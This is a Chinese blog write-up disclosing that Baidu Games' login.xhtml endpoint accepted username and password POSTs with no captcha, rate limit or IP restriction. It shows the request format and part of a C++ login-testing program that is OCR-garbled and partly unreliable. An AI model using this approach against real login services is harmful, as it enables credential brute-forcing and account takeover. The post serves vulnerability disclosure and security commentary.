最近,百度更新了百度游戏的首页,笔者自是第一时间去观摩。当然界面是焕然一新,可漏洞也不少。
先在前面说一句,这个漏洞仅用于研究,可能在读者看到这篇文章时,漏洞已经不存在了。
本着一颗寻找漏洞的心理,在百度游戏改版后笔者就到了百度游戏首页,开启封包拦截。本人是使用Chrome中的开发者工具,虽然那功能好像是抄袭苹果的Safa ri的功能,不过还算挺好用。
尝试登录一个用户,这时我注意到百度游戏的页面都是显式XHTML的,和以往百度其他的百度页面都不同。这时我发现他居然不是使用百度通用的登录接口passport.baidu.com。虽然最后还是有用到,不过他是先在login.xhtml中验证了用户名和密码的正确,然后才走passport.baidu.com设置全百度域名下的cookie。
他对这个地址POST了一段数据:
c=login&loginName=test&password=test然后返回的是一个神奇的HTML页面,里面如果登录失败就简陋的用ale rt提示你用户名或密码错。还有这个页面自己设置的charset是gbk,不过alert的内容却是utf8的,我该说什么好,我对此已经做不出什么评论了。
本着一个测试的心理,笔者立刻写个验证工具尝试使用百度这个新接口。一番测试下来,发现这个接口不仅不需要验证码,甚至连登录次数、lP限制都没有,真的是太可怕了!
部分流程代码:
int tmain(int argc, _TCHAR* argv[]) { char *username = NULL; char *password = NULL; if (argc > 2) { username = WcToMb (argv[l]) ; password = WcToMb (argv[2]) ; } else { std::cout《 "Usage:"《 std::endl 《 "\tBaiduYouxi.exe [username] [p?issworcll"《 std::endl; //初始化socket WSADATA wsaData; if (WSAStartup (MAKEWORD (2, 1), &wsaData) lI LOBYTE (wsaData. wVersion) 1= 2) std::cout《 "WSAStartup F,rrorl"《 std::endl; free (username) ; free (password) ; return -1; if (!InitHost(》 { std::cout《 "[nit Host卜、T1rorl"《 std::endl; free (username) ; free (password) ; return -1; SOCKET sock = NULL; char data[1024], header[1024] ; char术szRetHeader = NULL; CBuffer result; int dataLen = 0; if (!InitDefSocket(&sock》 { std::cout《 "[nitDeljSocket r,rro~."《 std::endl; free (username) ; free (password) ; return -1; //注意,中文用户需要用utf8格式 std::cout《 "Start Login: "《 username《 ":" 《 password《 " ..."《 std::endl; char *utf8user = MbToUtf8Url(username) ; wsprintfA(data, szLoginDataF, utf8user, password) ; free (utf8user) ; dataLen = lstrlenA(data) ; wsprintfA(header, szLoginHeaderF, dataLen) ; int i_ret = -1; if(SOCKET_ERROR == send(sock, header, lstrlenA(header), 0》 { i_ret = -2;
另外值得一提的是,笔者在发现这个漏洞的同时,给他们的客服邮箱发了封邮件,说明了这个错误,虽然他们回复的很快,不过好像没解决这个问题,他们的那个客服邮箱感觉就像是个摆设,写在那里的确看上去挺专业的。直到最近才更新了一下,换成user.xhtml来登录了,返回的是JSON数据,不过login.xhtml这个登录接口居然没有被封,这真的是让人笑掉大牙,百度就这么不在意用户数据的安全问题吗?
这样的事实让我们不得不反当前思国内的互联网安全状况,就连百度这样的大企业也这么不在意这些安全问题,那些小企业就可见一斑了。我们在建立网站的同时更需要重视安全问题,否则表面上看上去挺风光的,最后后台却已经沦为别人的后花园了。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。